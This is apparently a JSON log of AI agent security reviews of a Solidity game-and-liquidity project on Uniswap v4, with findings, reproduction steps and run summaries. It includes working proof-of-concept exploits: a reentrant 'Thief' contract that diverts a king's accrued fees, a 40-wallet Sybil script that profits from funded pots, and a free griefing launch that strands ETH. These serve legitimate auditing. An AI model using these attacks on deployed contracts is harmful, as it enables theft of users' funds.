abi.decode(pm.unlock(abi.encode(key, tokens)), (uint256));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (PoolKey memory key, uint256 tokens) = abi.decode(data, (PoolKey, uint256));\n        int256 d = pm.swap(\n            key, SwapParams(false, -int256(tokens), 1461446703485210103287273052203988822378723970341), \"\"\n        );\n        int128 a0 = int128(d >> 128);\n        int128 a1 = int128(d);\n        pm.sync(key.currency1);\n        require(PadToken(key.currency1).transfer(address(pm), uint256(uint128(-a1))));\n        pm.settle();\n        uint256 out = uint256(uint128(a0));\n        pm.take(address(0), address(this), out);\n        return abi.encode(out);\n    }\n}\n\ncontract SybilCaptureTest is Test {\n    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;\n    address constant ARB = address(0x64);\n\n    ArbSysStub arb;\n    IPoolManager pm;\n    PvPPad pad;\n    PadLiquidity liq;\n    KingOfThePad king;\n    PadGame pvp;\n    SellRouter router;\n    address player = address(0xA001);\n    address whale = address(0xA002);\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        ArbSysStub impl = new ArbSysStub();\n        vm.etch(ARB, address(impl).code);\n        arb = ArbSysStub(ARB);\n        pm = IPoolManager(address(new PoolManager(OWNER)));\n        PadToken t = new PadToken();\n        PadGame g = new PadGame();\n        pad = new PvPPad(OWNER, address(t), address(g));\n        liq = new PadLiquidity(address(pm), address(pad));\n        king = new KingOfThePad(address(pad), address(liq), OWNER);\n        router = new SellRouter(pm);\n        vm.deal(player, 10 ether);\n        vm.deal(whale, 10 ether);\n        bytes32 salt = _mineSalt();\n        vm.prank(OWNER);\n        pad.openPad(salt);\n        pvp = PadGame(pad.gameOf(1));\n        vm.prank(player);\n        pvp.enter{value: 0.001 ether}();\n        vm.warp(block.timestamp + 10 minutes);\n        pvp.draw(32);\n        arb.advance(4);\n        while (!pvp.drawComplete()) pvp.draw(32);\n        vm.prank(player);\n        pvp.roll{value: 0.002 ether}();\n        arb.advance(4);\n        vm.warp(block.timestamp + 11 minutes);\n        pvp.finalize();\n        pvp.graduate();\n    }\n\n    function test_soleBuyerRecoversMostCurveEthAndProfitsFromFundedPot() public {\n        uint256 n = 40;\n        address[] memory bots = new address[](n);\n        uint256 spent;\n        for (uint256 i; i < n; ++i) {\n            bots[i] = address(uint160(0xB000 + i));\n            vm.deal(bots[i], 1 ether);\n        }\n        uint256 id = pad.launch(\"Bot\", \"BOT\", \"\");\n        PadGame game = PadGame(pad.gameOf(id));\n        PadToken token = PadToken(pad.tokenOf(id));\n        for (uint256 i; i < n; ++i) {\n            vm.prank(bots[i]);\n            game.enter{value: 0.001 ether}();\n            spent += 0.001 ether;\n        }\n        // the king funds live games: 2 ETH extra -> 1 ETH to the only live game (the bot launch)\n        vm.prank(whale);\n        king.takeCrown{value: 2 ether}();\n        assertGe(game.fundedPot(), 1 ether, \"funded pot\");\n        vm.warp(game.signupEnd());\n        game.draw(32);\n        arb.advance(4);\n        while (!game.drawComplete()) game.draw(32);\n        for (uint256 r; r < 49; ++r) {\n            for (uint256 i; i < n; ++i) {\n                if (game.ended()) break;\n                vm.prank(bots[i]);\n                game.roll{value: 0.002 ether}();\n                spent += 0.002 ether;\n            }\n            vm.warp(vm.getBlockTimestamp() + 61);\n            arb.advance(244);\n        }\n        uint256 curveEth = game.ethRaised();\n        uint256 earned = game.rollPot();\n        while (!game.ended()) {\n            vm.warp(vm.getBlockTimestamp() + 60);\n            arb.advance(240);\n        }\n        vm.warp(vm.getBlockTimestamp() + 5);\n        arb.advance(20);\n        uint256 balBefore;\n        for (uint256 i; i < n; ++i) {\n            balBefore += bots[i].balance;\n        }\n        game.resolvePending(10_000);\n        if (!game.finalized()) {\n            vm.prank(bots[0]);\n            game.finalize();\n        }\n        if (!game.graduated()) game.graduate();\n        uint256 potBack;\n        for (uint256 i; i < n; ++i) {\n            potBack += bots[i].balance - (balBefore / n == 0 ? 0 : 0);\n        }\n        potBack -= balBefore;\n        // dump every token the bots bought into the real pool\n        PoolKey memory key = liq.poolKey(address(token));\n        uint256 dump;\n        for (uint256 i; i < n; ++i) {\n            uint256 b = token.balanceOf(bots[i]);\n            vm.prank(bots[i]);\n            token.transfer(address(router), b);\n            dump += router.sell(key, b);\n        }\n        emit log_named_uint(\"rolls+entries spent (wei)\", spent);\n        emit log_named_uint(\"curve ETH (wei)\", curveEth);\n        emit log_named_uint(\"roll-earned pot (wei)\", earned);\n        emit log_named_uint(\"pot paid back to bots (wei)\", potBack);\n        emit log_named_uint(\"ETH from dumping tokens (wei)\", dump);\n        emit log_named_uint(\"dump as % of curve ETH\", dump * 100 / curveEth);\n        emit log_named_uint(\"living at end\", game.livingAtEnd());\n        uint256 back = potBack + dump;\n        emit log_named_uint(\"total back (wei)\", back);\n        if (back > spent) emit log_named_uint(\"PROFIT (wei)\", back - spent);\n        else emit log_named_uint(\"LOSS (wei)\", spent - back);\n        // AUDIT #13 claims the dump recovers \"about half\" of the curve ETH and that capturing funded ETH\n        // \"costs more than it returns\". Expected: back <= spent. Actual: a ~0.15 ETH profit on 1 ETH funded.\n        assertLe(back, spent, \"capturing funded ETH costs more than it returns\");\n    }\n\n    function _mineSalt() internal view returns (bytes32 salt) {\n        bytes32 h = liq.hookInitCodeHash();\n        for (uint256 i; i < 500_000; ++i) {\n            address a = address(\n                uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(liq), bytes32(i), h))))\n            );\n            if (uint160(a) & 0x3FFF == 0x2000) return bytes32(i);\n        }\n        revert(\"no salt\");\n    }\n}","reproduction":"State: PvP graduated (one roll). 1) Anyone calls pad.launch('Bot','BOT','') (free). 2) 40 bot wallets enter the new game (0.04 ETH). 3) A king bids 2 ETH: fundGames sends the 1 ETH games share to the bot game, the only live launch (fundedPot = 1.000199 ETH incl. PvP carry). 4) After signup, draw; all 40 are seated (<= 200). 5) 49 rounds x 40 rolls (0.002 ETH each, cooldown 61 s); raise 3.3894 ETH, roll pot 0.3013 ETH. 6) Game ends at the 50-minute cap with 40 living; resolvePending, finalize (by a bot, fee to it), graduate on the real PoolManager. 7) Bots dump all their tokens into the pool: 2.7553 ETH back. Expected per AUDIT #13: total back <= spent. Actual: back 3.9605 ETH > spent 3.806 ETH. The attached test fails with `capturing funded ETH costs more than it returns: 3960452434960208273 > 3806000000000000000`. Run: FOUNDRY_GAS_LIMIT=18446744073709551615 forge test --match-path test/scratch/SybilCapture.t.sol (the 1,900 real rolls exceed the 300M default test gas limit).","severity":"medium","snippet":"    uint256 public constant FUNDED_RELEASE_MULTIPLE = 3;","title":"Funded-pot capture by a Sybil game is net profitable: the 3x release cap assumes a token dump recovers ~45% of curve ETH, but a sole curve buyer recovers ~81% on the real v4 pool (+0.154 ETH on 1 ETH "},{"citation":"resolved","description":"PvPPad._create sends the whole carryPot to every new launch as fundedPot (src/PvPPad.sol:147-152) and launch() costs only gas, so whoever calls launch() first after a round decides where returned funded ETH goes. A launch nobody enters can never reach finalize: upkeepStep returns while entrants.length == 0, poke() skips the lifecycle for the same reason, finalize() reverts 'not finalizable' because ended() is false until drawComplete, and fundPot cannot be reversed. The ETH is not lost but is frozen until a third party pays 0.001 ETH to enter, waits 10 minutes of signup, draws, and lets the 10-minute no-roll death end the game (living == 0 so the funded ETH goes back to the carry, then to the next launch, which can again be a junk launch). Repeated junk launches cost the griefer only gas and cost the community 0.001 ETH plus ~25 minutes per rescue; the carry pot never reaches a real game while the griefer keeps relaunching. Suggested minimal fix: hold the carry in PvPPad and release it to a game only when its draw completes (or when it has >= 5 entries), or require the launch creator to be the first entrant (pay 0.001 ETH) inside launch().","line":288,"path":"src/PadGame.sol","reproduction":"State: PvP graduated, carryPot > 0 (e.g. after any game that ended with fewer than five living imps returned its funded ETH, such as the PvP genesis in the proof setUp, 0.000199 ETH). 1) Attacker calls pad.launch('x','y','') -> carryPot becomes 0 and the new game's fundedPot = the carry. 2) Nobody enters. Expected: upkeep eventually returns the funded ETH or a real game can use it. Actual: game.status() stays 0 forever, upkeepStep/poke return early, game.finalize() reverts 'not finalizable', pad.carryPot() == 0, and the ETH sits in the clone until someone pays 0.001 ETH to enter and plays the dead round out (~25 minutes), after which the carry goes to the next launch, which the attacker can create again for free.","severity":"low","snippet":"        if (locked || entrants.length == 0) return;","title":"The carry pot is handed to any free launch() and is parked, unreachable by upkeep, until someone pays an entry into that launch"}],"hash":"d422f4b41c6f4881778dfc4b33964ed5c7b2e070da0efb6b6beb2958701ba3cd","nodeId":"50cd0a72-1a66-46b1-b045-caf0f6178e96","outcome":"completed","summary":"Review complete. The findings file is written and all cited lines match the tree.\n\n**What I found**\n\n- **High, KingOfThePad.takeCrown (line 73).** The pre-crown `distribute(8)` is wrapped in try/catch, and `PadLiquidity.claim()` holds the same reentrancy lock while pushing ETH with full gas. A contract that once held a tiny liquidity claimable (be king once with a rejecting receive) calls `claim()` and bids from inside its receive. The distribute reverts \"reentrancy\", the catch swallows it, and the honest king is dethroned with only its bid refund. The next distribute pays the usurper. On the real PoolManager the proof shows the honest king getting exactly 0.011 ETH back while 0.001 ETH of fees from its reign goes to the attacker. Gas starvation of the 4.5M stipend was checked and does not work, so this reentry window is the practical path. Proof: `test/scratch/KingFeeBypass.t.sol` (fails now, two tests).\n\n- **Medium, funded-pot economics (PadGame.sol line 36).** AUDIT #13 claims a Sybil dumping its tokens recovers \"about half\" of curve ETH, so capture is a net loss. A sole curve buyer holds (1+e) times the pool's token reserve, so the dump recovers 65% to 81% depending on the raise. Simulated on the real PoolManager: 40 bot wallets, 1 ETH of king funding, 1,900 rolls. Spent 3.806 ETH, got back 3.960 ETH, a 0.154 ETH profit before gas. Proof: `test/scratch/SybilCapture.t.sol`, which needs `FOUNDRY_GAS_LIMIT` raised because the rolls exceed the 300M test gas limit.\n\n- **Low, carry pot parking (PadGame.sol line 288).** Any free `launch()` receives the entire carry pot as funded ETH. If nobody enters, upkeep and poke return early and finalize reverts, so the ETH sits until a third party pays 0.001 ETH and plays the dead round out, after which a griefer can repeat.\n\n**Coverage.** All 38 listed entry points have a row, plus four invariant rows. Three entry points carry finding 1, two carry finding 2 or 3, the rest hold after tracing. No row is unreached.\n\n**Environment note.** The full test suite cannot compile here: via-IR compilation of the vendored v4-core exceeds the 1.5 GB cgroup memory cap, and without via-IR the sources hit stack-too-deep. I compiled sources plus one scratch test at a time with the other suites skipped, so the existing 141-test suite was not re-run by me. The test report's claims about that suite are unverified in this review.","treeHash":null,"usage":{"cachedInputTokens":3557348,"inputTokens":834,"model":"claude-fable-5-1","outputTokens":69946,"runtime":"claude","turns":51,"wallClockMs":1228715}},{"artifacts":[],"attempt":2,"bundleHash":"30fbe2d65f2d210a6da04a1ee6b8500d0f006828a28229e75b18c43088576abf","device":"b4f6137e7c93a2b3","findings":[{"description":"The draw commits an L2 block and seeds from the hashes of the next three blocks, as the brief specifies. The seed is fixed by the chain, but it only becomes state when someone calls draw(n), poke() or any pad upkeep between commit+4 and commit+257 L2 blocks. With more than 200 entries, an entrant who computes the seed off-chain and sees itself unselected can simply refrain from calling; if every selected entrant and every upkeep caller (any enter() or roll() on any game, takeCrown, pad.upkeep) stays silent for the whole 256-block window (about one minute at four L2 blocks per second), the draw recommits and a new seed is taken. The option costs nothing and cannot be exercised unilaterally, because any single other caller finalises the seed, so it is reported as a design property rather than a defect. With 200 or fewer entries there is no incentive: everyone plays. The sequencer's influence over L2 block hashes is accepted by the brief.","line":173,"path":"src/PadGame.sol","reproduction":"Enter 201 wallets, warp to signupEnd, call draw(32) (commit at block C), advance 4 L2 blocks, read arbBlockHash(C+1..C+3) off-chain and reconstruct keccak(game, h1, h2, h3); if the wallet is not among the first 200 picks, make no call and advance 258 blocks; the next draw(32) recommits (DrawCommitted with recommit=true) and the later seed differs. Expected under the brief: exactly this behaviour; actual: the same. Covered as the recommit path in test/Raffle.t.sol test_recommitOnlyBeforeSeedIfHashesExpire; the mitigation is that every live game action on the pad finalises the draw.","severity":"info","title":"Seat raffle: whoever triggers the seeding call holds a bounded re-roll option when entries exceed 200"},{"description":"The raffle has no entry cap and no per-person limit beyond one entry per wallet, as decided. Selection is uniform over entries, so a bot holding W of N entries expects 200*W/N seats. To hold at least half of the 200 seats against H honest entrants the bot needs W >= H wallets, paying H * 0.001 ETH plus H entry transactions of gas; against 500 honest entrants that is 0.5 ETH, against 5,000 it is 5 ETH. Every fee goes to PadLiquidity's burn bucket and is never refunded, so the cost is sunk whether or not the seats pay. With H <= 200 the bot gains nothing: all honest entrants play regardless. The brief asks for this number in docs/AUDIT.md, which is outside this task's write scope (test/** only); it is recorded here so the documentation job can carry it.","line":146,"path":"src/PadGame.sol","reproduction":"test/Raffle.t.sol test_manySeedsGiveEarlyAndLateEntrantsEqualOpportunity (400 entries, 256 seeds: each wallet is selected about 128 of 256 times, i.e. 200/400) and test/RaffleEdges.t.sol testFuzz_above200ExactlyTwoHundredDistinctSeats (201..420 entries always yield exactly 200 distinct seats, fees of all entrants in the burn bucket). Expected: uniform per-entry odds; actual: uniform per-entry odds, so seat share equals wallet share.","severity":"info","title":"Cost for a bot to win most seats: one 0.001 ETH wallet per honest entrant, all of it burned into PvP"},{"description":"The report states 141 tests across nine suites. This task adds test/RaffleEdges.t.sol (six tests, one of them a 24-run fuzz over 201..420 entries) and renames test_hardEndAt60Minutes to test_hardEndAt50MinutesAfterPlayStart in test/Game.t.sol, giving 147 tests across ten suites. The report is outside this task's write scope (test/** only), so it was not updated.","line":8,"path":"docs/TEST-REPORT.md","reproduction":"FOUNDRY_FUZZ_SEED=0x0d0a7fe17c0c810a05ce9611052247886ae0cb3e56fd81212056fc4f6cdd7542 forge test prints 147 passed across 10 suites; the report says 141 across 9.","severity":"info","title":"docs/TEST-REPORT.md test count is stale after this task"}],"hash":"d723459a6b6ccf00c410f3bedc44d18f13b6e77c078f0a9312c37a69a549a14f","nodeId":"cd28e34e-aa69-45eb-9709-c3bee99a9005","outcome":"completed","summary":"All checks are green. Nothing further is needed from the environment, so here is the recap.\n\n**Outcome.** The suite passes with the verifier's fuzz seed: 147 tests across 10 suites, 0 failed, 0 skipped. Build, `forge fmt --check` on the touched files, and the manifest validator are clean. No RPC, fork, ffi, or environment access is used anywhere.\n\n**What I did.** The existing accepted suite (141 tests, real Uniswap v4 PoolManager, invariant handler, 5,000-entry draw) already covered the brief's list, so I read the five contracts adversarially and added only what was missing. Changes are confined to `test/`:\n\n- **New `test/RaffleEdges.t.sol`** (6 tests):\n  - Fuzz over 201 to 420 entries, random L2 block and chunk size: exactly 200 distinct seats, both indexes agree, every seat holder is an entrant, all fees in the burn bucket.\n  - Unselected entrant after the draw: entry kept, seat zero, no roll, no second entry, nothing claimable; entry refused at the exact second signup ends; status 7 before and during the commit.\n  - Death at exactly play start plus 10 minutes for a never-rolled Imp, then the all-dead end one second later, with finalize blocked by the pending roll until the L2 hashes arrive.\n  - Roll accepted one second before the 50-minute cap and refused at the cap, with every wei accounted on the curve or in the pot.\n  - King's share: four entries are not live, five are; funded ETH reaches a game in signup, then returns to the carry pot in full when nobody rolls, and the failed launch never touches the genesis.\n  - Repeated draw calls inside the commit window neither recommit nor seat; no trials after completion.\n- **Renamed** the stale `test_hardEndAt60Minutes` in `test/Game.t.sol` to reflect the 50-minute cap it actually asserts.\n\n**Findings.** I found no defect with a concrete failing input. `.imd-findings.json` records three info-level items: the bounded re-roll option of whoever triggers seeding when entries exceed 200 (brief-mandated design, cannot be exercised unilaterally), the bot cost to win most seats (one 0.001 ETH wallet per honest entrant, all burned), and the now-stale test count in the test report.\n\n**Out of scope, left for the requester.** The brief also asks for updated `docs/AUDIT.md`, `docs/TEST-REPORT.md` and `docs/VERIFY.md`; those paths are outside this task's write scope (test/** only), so the report still says 141 tests and the bot-cost figure sits in the findings file instead of AUDIT.md.","treeHash":"a3efb9052e30b3572cf25e5ce0763ba98b3e3a4f","usage":{"cachedInputTokens":1171474,"inputTokens":450,"model":"claude-fable-5-1","outputTokens":35261,"runtime":"claude","turns":23,"wallClockMs":629225}},{"artifacts":[],"attempt":1,"bundleHash":"b951bfb700ed6308b7c6b063b111ad7aa621aa4bb913c6f2d078b35badd5f5b7","device":"fba19b641cdd6f27","findings":[],"hash":"ddbad4061842807aaa0c1be0ac43338784a64d2f24b4d3f669a606b6503bb4b5","nodeId":"7d909da2-060d-42d2-86ff-a00b846f6300","outcome":"completed","summary":"The manifest is complete and verified. The working tree is clean, and the committed launch.json already describes the accepted implementation exactly, so no file needed changing.\n\n**What launch.json contains**, in constructor dependency order:\n\n- **PadToken** and **PadGame** take no arguments. Both are templates marked initialized at deployment.\n- **PvPPad** takes `$owner`, then the token and game template references.\n- **PadLiquidity** takes the Uniswap v4 PoolManager address and the PvPPad reference. The pool manager address is the static one inherited from the pinned base and documented in the README.\n- **KingOfThePad** takes the PvPPad and PadLiquidity references and the dev wallet, which the README states is the same wallet as the owner.\n\n**Checks I ran against the manifest and source:**\n\n- Schema check in Python: only the keys kind, contracts and notes; kind is evm_contracts; five unique identifiers under 32 characters; every argument is a string, `$owner`, a lowercase hex address, or a backward `$contract:` reference. Notes are 2,356 characters, under the 4,000 cap.\n- Every constructorArgs list matches the parameter count and order of the constructors in src.\n- No constructor calls anything outside the manifest. PadLiquidity and KingOfThePad only call PvPPad and PadLiquidity, both earlier in the list. The protected deployment probe rehearses this on an empty chain.\n- No owner is the factory or tx.origin, which satisfies the protected Owners check.\n\n**Test results** with the verifier's fuzz seed:\n\n| Suites | Tests | Result |\n|---|---|---|\n| 10 | 150 | all passed |\n\nThe atomic deployment test reports the full manifest at about 11.8M gas, and 12.6M combined with the later openPad call, under the 13M target and the 16,777,216 ceiling. Each runtime stays under the EIP-170 limit.\n\nThe previous attempt failed at clone time because accepted work conflicted with a later dependency, not because of manifest content. This checkout already has the merged tree, and the manifest in it is consistent with that tree.","treeHash":"ce973ae19b5615ad133a9df3d061f6fb8da2d633","usage":{"cachedInputTokens":255354,"inputTokens":194,"model":"claude-fable-5-1","outputTokens":3669,"runtime":"claude","turns":7,"wallClockMs":327414}},{"artifacts":[],"attempt":1,"bundleHash":"4951c261e94a8035d0cf5f6313f4f651aeeed634d6386d1cc4f5a13e8485773b","device":"ccf14607d159904b","findings":[],"hash":"e61ac54cd911bcc5af379be989729e1d18dc0d857d74b03a64754524f2f0c0ef","nodeId":"7d909da2-060d-42d2-86ff-a00b846f6300","outcome":"completed","summary":"Updated [launch.json](/root/.identitymd/work/f5fb4362-0b07-422e-90d1-21870a363a6a/7d909da2-060d-42d2-86ff-a00b846f6300/launch.json), preserving the accepted deployment order and constructor arguments while clarifying notes.\n\nManifest, ABI, and bytecode checks passed. `forge build` passed; all 141 tests passed with the supplied fuzz seed.\n\nOnly `launch.json` changed.","treeHash":"61a9c495efad71e88e1e271d57e6dacabf84c70d","usage":{"cachedInputTokens":785024,"inputTokens":53751,"model":"gpt-6-astra","outputTokens":7143,"runtime":"codex","turns":6,"wallClockMs":365631}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"1f78880cc572868c","findings":[{"citation":"resolved","description":"CHANGE 2 / AUDIT #21 promise that the outgoing king is paid the pool fees accrued during its reign before the crown changes hands. takeCrown implements this as a swallowed `try liquidity.distribute(8)`, and PadLiquidity.distribute is behind PadLiquidity's `guard`. PadLiquidity.claim() (src/PadLiquidity.sol:263-270) is also behind that guard and hands full gas to msg.sender while `locked == true`. Anyone with a claimable balance in PadLiquidity (every king whose 30k-gas fee push once failed, which a king contract can arrange on purpose) can therefore call PadLiquidity.claim and, inside its receive, call KingOfThePad.takeCrown: distribute reverts with \"reentrancy\", the catch swallows it, `king = msg.sender` runs, and the fees that accrued for the sitting king are paid to the new king on the very next distribute (the pad upkeep at the end of takeCrown already collects 2 pools for the new king). The guard that is correct in isolation (PadLiquidity.guard) and the catch that is correct in isolation (a failing pool must not block a bid) combine into an authorization-dependent redirection of in-flight value: only a party holding a PadLiquidity claimable, i.e. a former king, can take this path. The test in `proof` reproduces it against the real v4 PoolManager. Suggested fix that keeps the agreed design: make the pre-crown step reliable instead of best-effort for this case, e.g. PadLiquidity.claim pushes with a gas cap and CEI like the other payouts, or KingOfThePad reverts when `liquidity.distribute` fails with the reentrancy reason / when a `locked()` view is true, while still catching genuine pool failures inside PadLiquidity.collectPool (which already isolates them).","line":72,"path":"src/KingOfThePad.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PadToken} from \"src/PadToken.sol\";\nimport {PadGame} from \"src/PadGame.sol\";\nimport {PvPPad} from \"src/PvPPad.sol\";\nimport {PadLiquidity} from \"src/PadLiquidity.sol\";\nimport {KingOfThePad} from \"src/KingOfThePad.sol\";\nimport {IPoolManager, IUnlockCallback, PoolKey, IERC20Min} from \"src/interfaces/Interfaces.sol\";\nimport {IPoolManager as V4Manager} from \"lib/v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolKey as V4Key} from \"lib/v4-core/src/types/PoolKey.sol\";\nimport {BalanceDelta} from \"lib/v4-core/src/types/BalanceDelta.sol\";\n\n/// @dev ArbSys stand-in (same shape as the project's MockArbSys; copied so this file is self-contained).\ncontract ArbSysStub {\n    uint256 public number = 1000;\n\n    function advance(uint256 n) external {\n        number += n;\n    }\n\n    function arbBlockNumber() external view returns (uint256) {\n        return number;\n    }\n\n    function arbBlockHash(uint256 n) external view returns (bytes32) {\n        require(n < number && n + 256 >= number, \"invalid block number\");\n        return keccak256(abi.encode(\"arb\", n));\n    }\n}\n\n/// @dev Donates fees into a real v4 pool so PadLiquidity has something to distribute.\ncontract Donor is IUnlockCallback {\n    IPoolManager immutable pm;\n\n    constructor(IPoolManager pm_) {\n        pm = pm_;\n    }\n\n    receive() external payable {}\n\n    function donate(PoolKey memory key, uint256 e) external {\n        pm.unlock(abi.encode(key, e));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (PoolKey memory key, uint256 e) = abi.decode(data, (PoolKey, uint256));\n        V4Key memory vkey = abi.decode(abi.encode(key), (V4Key));\n        V4Manager(address(pm)).donate(vkey, e, 0, \"\");\n        pm.sync(address(0));\n        pm.settle{value: e}();\n        return \"\";\n    }\n}\n\n/// @dev A former king. While `reject` is set every ETH push to it fails, so its fees become claimable\n/// in PadLiquidity. Later it claims them and, inside PadLiquidity.claim (PadLiquidity is locked), bids\n/// for the crown: takeCrown's pre-crown distribute reverts with \"reentrancy\", is swallowed, and the\n/// sitting king is dethroned without the fees that accrued during its reign.\ncontract Thief {\n    KingOfThePad immutable king;\n    PadLiquidity immutable liq;\n    bool public reject = true;\n    uint256 public bidAmount;\n\n    constructor(KingOfThePad king_, PadLiquidity liq_) {\n        king = king_;\n        liq = liq_;\n    }\n\n    function setReject(bool r) external {\n        reject = r;\n    }\n\n    function bid(uint256 v) external {\n        king.takeCrown{value: v}();\n    }\n\n    function attack(uint256 v) external {\n        bidAmount = v;\n        liq.claim();\n    }\n\n    receive() external payable {\n        if (reject) revert(\"no\");\n        if (bidAmount != 0) {\n            uint256 v = bidAmount;\n            bidAmount = 0;\n            king.takeCrown{value: v}();\n        }\n    }\n}\n\ncontract CrownReentryTest is Test {\n    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;\n    IPoolManager pm;\n    PvPPad pad;\n    PadLiquidity liq;\n    KingOfThePad king;\n    PadGame pvp;\n    PadToken pvpToken;\n    ArbSysStub arb;\n    Donor donor;\n    address[] players;\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        ArbSysStub impl = new ArbSysStub();\n        vm.etch(address(0x64), address(impl).code);\n        arb = ArbSysStub(address(0x64));\n        pm = IPoolManager(deployCode(\"PoolManager.sol:PoolManager\", abi.encode(OWNER)));\n        PadToken t = new PadToken();\n        PadGame g = new PadGame();\n        pad = new PvPPad(OWNER, address(t), address(g));\n        liq = new PadLiquidity(address(pm), address(pad));\n        king = new KingOfThePad(address(pad), address(liq), OWNER);\n        donor = new Donor(pm);\n        vm.deal(address(donor), 10 ether);\n        for (uint256 i; i < 12; ++i) {\n            address p = address(uint160(0xA000 + i));\n            players.push(p);\n            vm.deal(p, 10 ether);\n        }\n        // open the pad with a mined salt\n        bytes32 h = liq.hookInitCodeHash();\n        bytes memory buf = abi.encodePacked(bytes1(0xff), address(liq), bytes32(0), h);\n        bytes32 salt;\n        for (uint256 i; i < 300_000; ++i) {\n            uint256 a;\n            assembly (\"memory-safe\") {\n                mstore(add(buf, 53), i)\n                a := and(keccak256(add(buf, 32), 85), 0xffffffffffffffffffffffffffffffffffffffff)\n            }\n            if (a & 0x3FFF == 0x2000) {\n                salt = bytes32(i);\n                break;\n            }\n        }\n        vm.prank(OWNER);\n        pad.openPad(salt);\n        pvp = PadGame(pad.gameOf(1));\n        pvpToken = PadToken(pad.tokenOf(1));\n        // play genesis out and graduate it\n        for (uint256 i; i < 4; ++i) {\n            vm.prank(players[i]);\n            pvp.enter{value: 0.001 ether}();\n        }\n        advance(10 minutes);\n        pvp.draw(32);\n        arb.advance(4);\n        while (!pvp.drawComplete()) pvp.draw(32);\n        for (uint256 r; r < 3; ++r) {\n            for (uint256 i; i < 4; ++i) {\n                if (pvp.ended()) break;\n                vm.prank(players[i]);\n                pvp.roll{value: 0.002 ether}();\n            }\n            advance(61);\n        }\n        while (!pvp.ended()) advance(60);\n        advance(5);\n        pvp.poke();\n        if (!pvp.finalized()) pvp.finalize();\n        if (!pvp.graduated()) pvp.graduate();\n        assertTrue(pad.genesisGraduated());\n    }\n\n    function advance(uint256 secs) internal {\n        vm.warp(vm.getBlockTimestamp() + secs);\n        arb.advance(secs * 4);\n    }\n\n    function test_outgoingKingCannotBeSkippedByReenteringFromLiquidityClaim() public {\n        Thief thief = new Thief(king, liq);\n        vm.deal(address(thief), 1 ether);\n        // 1. thief is king; a fee push to it fails, so its fees become claimable in PadLiquidity\n        thief.bid(0.01 ether);\n        donor.donate(liq.poolKey(address(pvpToken)), 0.1 ether);\n        liq.distribute(1);\n        assertGt(liq.claimable(address(thief)), 0, \"fees parked as claimable\");\n        // 2. an honest bidder takes the crown and fees accrue during its reign\n        vm.warp(king.challengeOpensAt());\n        vm.prank(players[9]);\n        king.takeCrown{value: 0.011 ether}();\n        donor.donate(liq.poolKey(address(pvpToken)), 0.2 ether);\n        vm.warp(king.challengeOpensAt());\n        // 3. thief claims and re-enters takeCrown while PadLiquidity is locked\n        thief.setReject(false);\n        uint256 before = players[9].balance;\n        thief.attack(0.0121 ether);\n        if (king.king() == address(thief)) {\n            // CHANGE 2: the outgoing king must be paid its accrued pool fees before being dethroned\n            assertGe(\n                players[9].balance - before,\n                0.011 ether + 0.2 ether - 1e12,\n                \"outgoing king dethroned without the fees accrued during its reign\"\n            );\n        }\n    }\n}","reproduction":"State: PvP graduated, real PoolManager. 1) Contract T (receive reverts) calls takeCrown{0.01 ETH}; donate 0.1 ETH fees to the PvP pool; liq.distribute(1) -> push to T fails -> PadLiquidity.claimable[T] = 0.1 ETH. 2) After 1 h, honest EOA H calls takeCrown{0.011}; donate 0.2 ETH of fees to the PvP pool (fees of H's reign). 3) After 1 h, T flips its receive to accept and calls PadLiquidity.claim(); inside receive T calls takeCrown{0.0121}. Expected: H receives 0.011 refund + ~0.2 ETH fees before Crowned, or the bid reverts. Actual: distribute reverts 'reentrancy' and is swallowed; king == T; H receives only the 0.011 ETH refund; the 0.2 ETH is paid to T by the next distribute. forge test --match-path test/scratch/CrownReentry.t.sol fails with '11000000000000000 < 210999000000000000'.","severity":"medium","snippet":"        if (previous != address(0)) {\n            try liquidity.distribute{gas: CROWN_DISTRIBUTE_GAS}(8) {} catch {}\n        }\n        king = msg.sender;","title":"takeCrown's pay-outgoing-king step is bypassed by re-entering from PadLiquidity.claim; a former king dethrones the sitting king without paying its accrued fees"},{"citation":"resolved","description":"Access x economics seam. launch() has no fee, no creator stake and no rate limit once genesis has graduated, and _create() unconditionally forwards the entire carryPot to the new game as fundedPot. The carry pot is where the king's 50% games share lands when no game is live (fundGames, line 182-186), where funded ETH that failed the >=5-living / 3x release rules returns, and where a whole pot goes when every Imp died (PadGame._finalize `living == 0`). A PadGame that never receives an entry has entrants.length == 0, so upkeepStep returns at once, ended() is false forever (drawComplete never set), _finalize() returns false, fundPot is the only inflow and there is no outflow: the ETH sits in that clone indefinitely. Anyone can therefore, for gas only, call launch(\"junk\",\"J\",\"\") the moment the carry pot is non-zero and park it. The only way back is for someone to pay 0.001 ETH to enter the junk game, wait 10 min signup + 10 min of dead play, finalize (living == 0 sends the pot back to carry) - after which the griefer calls launch() again. The AUDIT.md promise that unreleased funded ETH \"reaches the next launch\" (#13) and the fundGames comment \"the rest returns here as carry\" do not hold against a permissionless, free launch. Suggested fix within the design: do not move the carry into a game at creation; instead hand it over when the game's draw completes (or when the first entry arrives), so a game nobody enters never custodies carry, and/or require the creator to be the first paid entrant.","line":147,"path":"src/PvPPad.sol","reproduction":"State: PvP graduated, no live game. 1) players[8] calls KingOfThePad.takeCrown{1 ETH}: fundGames finds count == 0, carryPot becomes 0.5 ETH. 2) address 0xBAD (no ETH sent) calls PvPPad.launch(\"junk\",\"J\",\"\"): carryPot == 0, junk.fundedPot() == 0.5 ETH, address(junk).balance == 0.5 ETH. 3) Nobody enters. For 12 x 30 days: junk.poke(), pad.upkeep() do nothing, junk.ended() stays false, junk.finalize() reverts 'not finalizable'. address(junk).balance is still 0.5 ETH and pad.carryPot() == 0; the next real launch gets fundedPot() == 0. Expected: carry reaches a launch that actually runs, or can be recovered without a third party paying. Actual: locked behind a 0.001 ETH + 20 minute rescue that the griefer can undo again for gas. test/scratch/CarryStrand.t.sol demonstrates this state (it passes on current code, so it is not attached as a proof).","severity":"medium","snippet":"        uint256 carry 